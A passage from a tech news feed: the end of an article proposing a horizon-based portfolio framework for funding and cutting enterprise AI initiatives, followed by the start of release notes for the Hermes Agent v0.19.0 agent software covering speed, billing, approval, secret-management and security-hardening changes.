<p class="wp-block-paragraph">Read as a technology story, these numbers say AI does not work. Read correctly, they say something more useful. MIT’s own authors located the cause not in model quality but in a <a href="https://virtualizationreview.com/articles/2025/08/19/mit-report-finds-most-ai-business-investments-fail-reveals-genai-divide.aspx">learning and integration gap</a>. The winners were not running better models. They picked one problem, executed and worked well together. Purchased solutions reached production about 67 percent of the time, while internal builds succeeded roughly a third as often. <a href="https://www.gartner.com/en/newsroom/press-releases/2025-03-31-gartner-forecasts-worldwide-genai-spending-to-reach-644-billion-in-2025">Gartner’s own spending forecast</a> notes the same pivot, with CIOs scaling back ambitious internal builds in favor of commercial solutions that promise more predictable value. None of that is a verdict on the technology. It is a verdict on allocation: What gets funded, for how long and against which yardstick. The popular prescription, heard in every boardroom this year, is to measure harder and prove value sooner. That advice quietly repeats the mistake, because forcing a three-year bet to prove itself sooner is precisely how you kill it. The fix is not more measurement. It is measuring each bet against the right clock and subtracting the ones that miss.</p>



<h2 class="wp-block-heading">The six-month cycle problem</h2>



<p class="wp-block-paragraph">Return to that 95 percent, because the way it is measured is the whole argument. Much of the reported failure is judged on a short clock, with a pilot counted as a failure if it has not shown a measurable financial return within roughly six months. The single most quoted number in enterprise AI is therefore a six-month yardstick applied to every initiative, including the bets designed to pay back in three years. The headline failure rate is not only a measure of AI. It is a measure of impatience.</p>



<p class="wp-block-paragraph">The most expensive mistake in enterprise AI is a timing error. Enterprises have been spending heavily on AI for more than two years, and 2026 is the year boards are demanding returns. The multi-year bets funded during the 2024 and 2025 scale-up are only now far enough along to be judged. When a board reviews an initiative, it applies the yardstick it knows, which is quarterly return. That yardstick is correct for an efficiency project and ruinous for a capability bet. A workflow automation that should pay back in two quarters and a foundational data and agent capability that pays back in three years are not the same instrument, yet they are reviewed in the same meeting against the same metric.</p>



<p class="wp-block-paragraph">This is the heart of the divide. The 5 percent did not simply pick better projects. They judged each project against its own horizon. McKinsey’s enduring <a href="https://www.mckinsey.com/capabilities/strategy-and-corporate-finance/our-insights/enduring-ideas-the-three-horizons-of-growth">Three Horizons model</a> made this discipline standard in corporate strategy a generation ago: near-term, emerging and long-term bets are funded and measured differently. AI erased that discipline because the hype compressed every timeline into the current quarter. The result is two failure modes that appear opposite yet share a common root. Organizations kill three-year bets at month six because they miss a metric the bet was never designed to hit. And they keep funding six-month theater for years because it is visible, safe and never asked to prove a return. Both are allocation failures. Neither is a technology failure.</p>



<h2 class="wp-block-heading">Subtraction is a strategy</h2>



<p class="wp-block-paragraph">There is a second discipline, the 5 percent share, and it is the one boards find hardest. They subtract. Every credible study of the failure rate describes the same chaotic pattern underneath it: Initiatives are <a href="https://www.ciodive.com/news/AI-project-fail-data-SPGlobal/742590/">abandoned late, without criteria</a>, after the money is spent and the credibility is gone. Disciplined organizations do the opposite. They decide the conditions for stopping before they start, and they stop on schedule. Subtraction is not the absence of strategy. It is the strategy. Capital removed from a failing bet is capital available for a surviving one, and the survivors are where the entire return lives.</p>



<p class="wp-block-paragraph">This reframes the 42 percent abandonment figure. Abandonment is not the problem. Undisciplined abandonment is. An organization that liquidates a position the moment it breaches a pre-agreed kill line is practicing portfolio hygiene. An organization that lets a doomed pilot run until someone loses patience is paying full price for a lesson it could have bought at a discount. The 5 percent who won were not smarter. They were patient in the right places and ruthless in the wrong ones.</p>



<h2 class="wp-block-heading">The HALT framework: Horizon, Allocation, Liquidation, Tracking</h2>



<p class="wp-block-paragraph">Treating AI as a portfolio rather than a pile of pilots requires four disciplines, and the organizations that execute well put all four in place before the next funding cycle, not after the next failure. The name is deliberate. The discipline most enterprises lack is the willingness to halt the wrong bets in time to fund the right ones.</p>



<p class="wp-block-paragraph"><strong>Component 1: Horizon. </strong>Classify every AI initiative by its true payoff horizon before it is funded. Horizon 1 covers efficiency plays that should return value within two quarters. Horizon 2 covers capability bets, data foundations, agent platforms and integration work that pays back in roughly 6 to 18 months. Horizon 3 covers transformation bets that take eighteen months to three years or longer. Each horizon carries its own success metric, set at funding time. A Horizon 1 yardstick never judges a Horizon 3 bet. This single rule prevents the most common and most expensive error in the portfolio.</p>



<p class="wp-block-paragraph"><strong>Component 2: Allocation. </strong>Decide the split across horizons deliberately, as a board-level capital decision, not as the accidental sum of whatever pilots happened to win approval. A practical reference point, borrowed from decades of innovation-portfolio practice, is roughly 70% to near-term value, 20% to capability, and 10% to transformation. The exact ratio is yours; the discipline is to choose and defend it. The failure mode is an unmanaged portfolio: 90 percent scattered across disconnected Horizon 1 experiments, with nothing compounding into the Horizon 2 capability that the buy-and-integrate winners actually built.</p>



<p class="wp-block-paragraph"><strong>Component 3: Liquidation. </strong>Attach a kill line to every initiative at the moment it is funded: A named milestone, a date and an owner empowered to stop it. If a bet misses its horizon-appropriate milestone, it is liquidated, and capital is reallocated on schedule without debate over sunk costs. The absence of a pre-agreed kill line is not patience. It is an unpriced liability that the board has almost certainly not been shown.</p>



<p class="wp-block-paragraph"><strong>Component 4: Tracking. </strong>Report the portfolio to the board on a fixed cadence using a single instrument: The AI Portfolio Scorecard. Not a deck of project updates, but a single view of allocation by horizon, burn against milestone, liquidation decisions taken and capital reallocated to survivors. The cadence is the control. A portfolio reviewed once a year is a portfolio managed by hope.</p>



<p class="wp-block-paragraph"><strong>THE AI PORTFOLIO SCORECARD: SCORE EVERY INITIATIVE BEFORE IT IS FUNDED</strong></p>



<figure class="wp-block-table"><div class="overflow-table-wrapper"><table class="has-fixed-layout"><thead><tr><td><strong>Evaluation criterion</strong></td><td><strong>0</strong></td><td><strong>1</strong></td><td><strong>2</strong></td></tr></thead><tbody><tr><td>Horizon assigned (H1 / H2 / H3) and documented before funding</td><td> </td><td> </td><td> </td></tr><tr><td>Success metric matched to the horizon, not a default quarterly ROI</td><td> </td><td> </td><td> </td></tr><tr><td>Kill line set: Named milestone and date, agreed at funding</td><td> </td><td> </td><td> </td></tr><tr><td>Owner named with explicit authority to stop the initiative</td><td> </td><td> </td><td> </td></tr><tr><td>Fits a deliberate allocation band, not an accidental addition</td><td> </td><td> </td><td> </td></tr><tr><td>Odds-raising path documented: Buy or partner and an integration plan</td><td> </td><td> </td><td> </td></tr></tbody></table> </div></figure>



<p class="wp-block-paragraph"><em>Score each criterion: 0 = not present, 1 = partially documented, 2 = fully verified. Total out of 12. Bands: 0 to 4 = DO NOT FUND  |  5 to 8 = CONDITIONAL  |  9 to 12 = FUND.</em></p>



<p class="wp-block-paragraph"><strong>THE LIQUIDATION GATE: RUN AT EVERY BOARD REVIEW BEFORE CONTINUING FUNDING</strong></p>



<figure class="wp-block-table"><div class="overflow-table-wrapper"><table class="has-fixed-layout"><thead><tr><td><strong>Review test</strong></td><td><strong>Status</strong></td></tr></thead><tbody><tr><td>Milestone for this horizon met or credibly on track</td><td>PASS / FAIL</td></tr><tr><td>Burn within plan to the next milestone</td><td>PASS / FAIL</td></tr><tr><td>Still fits the allocation band, with no quiet horizon drift</td><td>PASS / FAIL</td></tr><tr><td>Owner confirms continued strategic fit</td><td>PASS / FAIL</td></tr></tbody></table> </div></figure>



<p class="wp-block-paragraph"><em>Any unresolved FAIL = stop funding, liquidate the position, reallocate the capital to a survivor and record the decision on the scorecard.</em></p>



<h2 class="wp-block-heading">The cost of the timing error</h2>



<p class="wp-block-paragraph">The financial case follows the pattern and is consistent. Consider two organizations that funded the same class of Horizon 3 bet: A domain-specific agent platform meant to compound over three years. The first review was conducted at month six against a quarterly return test, found no payback and killed it, booking the write-off as a lesson about AI being overhyped. Its competitor classified the same work as Horizon 3, set an 18-month capability milestone, protected funding through two review cycles and shipped to production within the window the work actually required. One organization spent its money to learn that it lacks allocation discipline. The other spent comparable money and now owns a capability its rival has abandoned and cannot quickly rebuild. The dollars on the two income statements are similar. The competitive positions are not.</p>



<h2 class="wp-block-heading">The governance return the board has been waiting for</h2>



<p class="wp-block-paragraph">Allocation discipline does two things at once. It stops the bleed by liquidating failures on a schedule rather than at the point of exhaustion. And it concentrates capital where the entire return lives, in the small number of bets that survive their horizon. The 5 percent figure is not a ceiling imposed by the technology. It is the current yield of an industry allocated by hype. An organization that classifies by horizon, allocates on purpose, liquidates on a line and tracks on a cadence is not trying to beat the technology. It is trying to beat its own indiscipline, and that is a far more winnable contest.</p>



<p class="wp-block-paragraph">The board conversation about AI returns is coming for every organization, and it arrives the moment the spending outpaces the story. When it does, the CIO will be asked a simple question: Where did the money go? The leaders who can answer will not show a pile of pilots. They will show a portfolio: What was funded, against which horizon, what was liquidated and when, and what the survivors are now worth. Subtraction is a strategy. The only question is whether you are practicing it on purpose or about to learn it by accident.</p>



<p class="wp-block-paragraph"><strong>This article is published as part of the Foundry Expert Contributor Network.</strong><br><a href="https://www.cio.com/expert-contributor-network/"><strong>Want to join?</strong></a></p>
</div></div></div></div>]]></content:encoded>
</item>
<item>
<title><![CDATA[Hermes Agent v0.19.0 (2026.7.20) — The Quicksilver Release]]></title>
<description><![CDATA[Hermes Agent v0.19.0 (v2026.7.20)
Release Date: July 20, 2026
Since v0.18.0: ~2,245 commits · ~1,065 merged PRs · ~2,465 files changed · ~300,000 insertions · ~36,000 deletions · ~3,300 issues closed · 450+ community contributors

The Quicksilver Release. Hermes is the messenger god, and this win...]]></description>
<link>https://tsecurity.de/de/3681964/downloads/hermes-agent-v0190-2026720-the-quicksilver-release/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3681964/downloads/hermes-agent-v0190-2026720-the-quicksilver-release/</guid>
<pubDate>Mon, 20 Jul 2026 20:46:40 +0200</pubDate>
<category>💾 Downloads</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<h1>Hermes Agent v0.19.0 (v2026.7.20)</h1>
<p><strong>Release Date:</strong> July 20, 2026<br>
<strong>Since v0.18.0:</strong> ~2,245 commits · ~1,065 merged PRs · ~2,465 files changed · ~300,000 insertions · ~36,000 deletions · <strong>~3,300 issues closed</strong> · <strong>450+ community contributors</strong></p>
<blockquote>
<p><strong>The Quicksilver Release.</strong> Hermes is the messenger god, and this window we made him move like it. First-turn time-to-first-token dropped <strong>~80% on every platform</strong>, reasoning streams live by default, the desktop app got a ~20-PR speed overhaul (14× faster streaming markdown, virtualized diffs, snappy session switching), and the TUI renders markdown incrementally. Around that speed spine: you can now <strong>manage your Nous subscription without leaving the terminal</strong>, plug <strong>Bitwarden and 1Password</strong> straight into Hermes, let <strong>smart approvals</strong> judge flagged commands for you by default, <strong>watch your subagents work live</strong>, and trust that a finished response <strong>survives a gateway crash</strong> thanks to a durable delivery ledger. This release also rolls up everything from the v0.18.1 and v0.18.2 infrastructure patch tags — those windows are fully documented here.</p>
</blockquote>
<hr>
<h2>✨ Highlights</h2>
<ul>
<li>
<p><strong>Hermes got dramatically faster — first token in a fraction of the time</strong> — Cold-start "Initializing agent..." used to eat ~4.3 seconds before your first turn even reached the model; it's now ~0.9s, an ~80% cut that applies to the CLI, gateway, TUI, desktop, and cron alike. Round 2 attacked what you <em>see</em> while waiting: reasoning models now stream their thinking live by default (no more staring at a spinner for 30 seconds), and the response box paints per token instead of per line. If Hermes ever felt like it took a deep breath before answering, that breath is gone. (<a href="https://github.com/NousResearch/hermes-agent/pull/59332" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/59332/hovercard">#59332</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/59389" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/59389/hovercard">#59389</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>)</p>
</li>
<li>
<p><strong>The desktop app speed wave — 20+ targeted perf PRs</strong> — Long replies used to cost 14× more CPU in the markdown splitter than they do now; giant diffs froze the review pane until we virtualized it; switching sessions thrashes layout no more. Streaming no longer re-renders the sidebar and every tool row per token, profile backends pre-warm on hover intent, and boot-hidden panes mount at idle instead of on the cold-start critical path. The net effect: the desktop app feels like a native app under load, even with huge transcripts and busy agents. (<a href="https://github.com/NousResearch/hermes-agent/pull/67154" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/67154/hovercard">#67154</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/67818" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/67818/hovercard">#67818</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/65898" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/65898/hovercard">#65898</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/66033" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/66033/hovercard">#66033</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/66747" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/66747/hovercard">#66747</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/67742" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/67742/hovercard">#67742</a> and more — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/OutThisLife/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/OutThisLife">@OutThisLife</a>)</p>
</li>
<li>
<p><strong>Manage your Nous plan from the terminal — <code>/subscription</code> and <code>/topup</code></strong> — Changing your subscription used to mean a trip to the billing website. Now <code>/subscription</code> opens a full flow right in the TUI or classic CLI: see your plan and remaining allowance, preview exactly what an upgrade costs ("Pay $46.30 &amp; upgrade now") or when a downgrade takes effect, and apply it — with scheduled-change banners and undo. The desktop app got a matching billing settings tab. Your wallet never has to leave the keyboard. (<a href="https://github.com/NousResearch/hermes-agent/pull/51639" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/51639/hovercard">#51639</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/61054" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/61054/hovercard">#61054</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/61067" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/61067/hovercard">#61067</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/alt-glitch/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/alt-glitch">@alt-glitch</a>)</p>
</li>
<li>
<p><strong>Smart approvals are now the default</strong> — When Hermes wants to run a flagged command, an LLM reviewer now assesses it independently instead of asking you to approve every single one — and each verdict covers only that exact command, so a later command matching the same pattern gets its own review. Combined with the new <strong>user-defined deny rules</strong> (which block commands even under yolo mode) and <code>/deny &lt;reason&gt;</code> (which tells the agent <em>why</em> you refused so it course-corrects), day-to-day approval fatigue drops sharply without giving up control. (<a href="https://github.com/NousResearch/hermes-agent/pull/62661" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/62661/hovercard">#62661</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/59164" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/59164/hovercard">#59164</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/54518" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/54518/hovercard">#54518</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>)</p>
</li>
<li>
<p><strong>Plug your password manager into Hermes — Bitwarden &amp; 1Password secret sources</strong> — API keys no longer have to live in a plaintext <code>.env</code>. A new pluggable <code>SecretSource</code> interface lets Hermes fetch secrets from Bitwarden and 1Password (<code>op://</code> references) at load time, with multiple vaults enabled simultaneously, deterministic precedence, conflict warnings, and per-variable provenance. This consolidated eleven competing community PRs into one orchestrated interface — future vault providers drop in as plugins. (<a href="https://github.com/NousResearch/hermes-agent/pull/59498" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/59498/hovercard">#59498</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>, 1Password provider salvaged from <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/hwrdprkns/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/hwrdprkns">@hwrdprkns</a>)</p>
</li>
<li>
<p><strong>Watch your subagents work — live transcripts + durable background delegation</strong> — <code>delegate_task</code> dispatches now return live transcript files you can <code>tail -f</code> the moment the subagents launch: every tool call, result, and streamed reply, one human-readable log per child. And background delegation completions are now <strong>durable</strong> — if the process restarts mid-run, results are restored and delivered through an ownership-checked ledger instead of vanishing. Fan out a fleet, watch any worker live, and never lose the results. (<a href="https://github.com/NousResearch/hermes-agent/pull/67479" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/67479/hovercard">#67479</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/63494" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/63494/hovercard">#63494</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>)</p>
</li>
<li>
<p><strong>A finished answer can no longer be lost — the delivery-obligation ledger</strong> — If the gateway died between generating your response and confirming the platform actually delivered it, that answer used to be silently gone (and you'd paid for the turn). Final responses are now recorded in a durable ledger in <code>state.db</code> around the platform send and <strong>redelivered on the next boot</strong> — closing a P1 silent-loss window for Telegram, Discord, Slack, and every other channel. (<a href="https://github.com/NousResearch/hermes-agent/pull/67181" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/67181/hovercard">#67181</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>)</p>
</li>
<li>
<p><strong>One gateway, many profiles — profile-based message routing</strong> — A single multiplexed gateway sharing one bot token can now route specific guilds, channels, or threads to different profiles — each with fully isolated config, skills, memory, and secrets. Point your work Discord server at the <code>work</code> profile and your hobby server at <code>personal</code>, from one bot. A second multiplex hardening wave means one misconfigured profile can no longer take down the whole gateway. (<a href="https://github.com/NousResearch/hermes-agent/pull/64835" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/64835/hovercard">#64835</a> salvaging <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Burgunthy/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Burgunthy">@Burgunthy</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/65700" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/65700/hovercard">#65700</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/60589" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/60589/hovercard">#60589</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/benbarclay/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/benbarclay">@benbarclay</a> + six salvaged contributors)</p>
</li>
<li>
<p><strong>New providers and the newest frontier models</strong> — Fireworks AI and DeepInfra land as first-class providers (Fireworks with cost estimation and a <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="3370551446" data-permission-text="Title is private" data-url="https://github.com/NousResearch/hermes-agent/issues/2" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/2/hovercard" href="https://github.com/NousResearch/hermes-agent/pull/2">#2</a> slot in the provider picker), Upstage Solar joins via salvage, and the model catalogs picked up <strong>GPT-5.6 (Sol/Terra/Luna + Pro variants, wired end-to-end across every route)</strong>, <strong>grok-4.5 (GA)</strong>, <strong>moonshotai/kimi-k3</strong>, <strong>claude-fable-5 / claude-sonnet-5</strong>, and GA <strong>tencent/hy3</strong> — plus LM Studio JIT model loading for local setups. (<a href="https://github.com/NousResearch/hermes-agent/pull/62593" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/62593/hovercard">#62593</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/63969" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/63969/hovercard">#63969</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/61616" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/61616/hovercard">#61616</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/kshitijk4poor/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/kshitijk4poor">@kshitijk4poor</a> completing <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/rob-maron/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/rob-maron">@rob-maron</a>'s <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4848372503" data-permission-text="Title is private" data-url="https://github.com/NousResearch/hermes-agent/issues/61578" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/61578/hovercard" href="https://github.com/NousResearch/hermes-agent/pull/61578">#61578</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/60887" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/60887/hovercard">#60887</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/65913" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/65913/hovercard">#65913</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/64541" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/64541/hovercard">#64541</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/65472" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/65472/hovercard">#65472</a>)</p>
</li>
<li>
<p><strong>Crank the thinking to max — new reasoning effort tiers and per-model control</strong> — Reasoning effort gained <code>max</code> and <code>ultra</code> levels (GPT-5.6 and Codex's top tiers), selectable everywhere from the CLI to the desktop, with sane clamping on providers with smaller scales. You can now also pin <strong>per-model reasoning-effort overrides</strong> in config, set <strong>per-slot effort in MoA presets</strong> (your advisors think hard, your synthesizer stays fast), and per-task effort for auxiliary models. Thinking depth is now a dial, not a global switch. (<a href="https://github.com/NousResearch/hermes-agent/pull/62650" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/62650/hovercard">#62650</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/64458" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/64458/hovercard">#64458</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/64631" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/64631/hovercard">#64631</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/64597" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/64597/hovercard">#64597</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>)</p>
</li>
<li>
<p><strong>Your sessions, your data — export everything</strong> — <code>hermes sessions export</code> now writes Markdown, Quarto, HTML, prompt-only, and even Hugging Face-ready trace formats, with the full filter surface (age, workspace, platform), an opt-in <code>--redact</code> secret-scrubbing pass, and compacted-session lineage stitched into one logical export. Pair with the new prune filters and bulk archive to keep your session store tidy. Your conversation history is a real dataset now, not a black box. (<a href="https://github.com/NousResearch/hermes-agent/pull/60186" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/60186/hovercard">#60186</a> salvaging <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/web3blind/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/web3blind">@web3blind</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/60492" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/60492/hovercard">#60492</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/60507" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/60507/hovercard">#60507</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/59327" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/59327/hovercard">#59327</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>)</p>
</li>
<li>
<p><strong>Security hardening round</strong> — This window closed a long list of credential-surface gaps: Vertex credentials scoped away from subprocess env and through profile secret scopes, media/vision/image-gen local-file reads routed through one shared credential-read guard, a webhook body-size-cap sweep across every aiohttp server, bot-token redaction in Telegram transport errors, Fireworks token prefixes added to the redactor, six P1 browser/MEDIA/.env hardening PRs salvaged in one pass, and CI hardened against untrusted-ref interpolation. (<a href="https://github.com/NousResearch/hermes-agent/pull/57660" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/57660/hovercard">#57660</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/58709" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/58709/hovercard">#58709</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/59215" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/59215/hovercard">#59215</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/56582" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/56582/hovercard">#56582</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/57842" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/57842/hovercard">#57842</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/srojk34/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/srojk34">@srojk34</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/kshitijk4poor/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/kshitijk4poor">@kshitijk4poor</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/jquesnelle/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/jquesnelle">@jquesnelle</a>)</p>
</li>
</ul>
<hr>
<h2>⚡ Performance — the speed spine</h2>
<h3>First-turn latency (all platforms)</h3>
<ul>
<li><strong>~80% TTFT cut</strong> — Discord capability detection off the critical path (token-keyed 24h disk cache + background refresh), Ollama probe skipped for known non-Ollama providers, agent-init blocking work removed; cold submit→dispatch ~4.3s → ~0.9s (<a href="https://github.com/NousResearch/hermes-agent/pull/59332" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/59332/hovercard">#59332</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>)</li>
<li><strong>Perceived-latency round 2</strong> — <code>display.show_reasoning</code> default ON (watch the model think instead of a spinner), per-token response-box painting with width-aware force-flush, prompt-build caching, mtime-cached timezone resolution (<a href="https://github.com/NousResearch/hermes-agent/pull/59389" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/59389/hovercard">#59389</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>)</li>
<li>Segment mixed tool batches to recover lost concurrency; drop per-call base64 re-serialization from request-size estimates (<a href="https://github.com/NousResearch/hermes-agent/pull/64460" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/64460/hovercard">#64460</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/67788" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/67788/hovercard">#67788</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/OutThisLife/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/OutThisLife">@OutThisLife</a>)</li>
</ul>
<h3>Desktop speed wave</h3>
<ul>
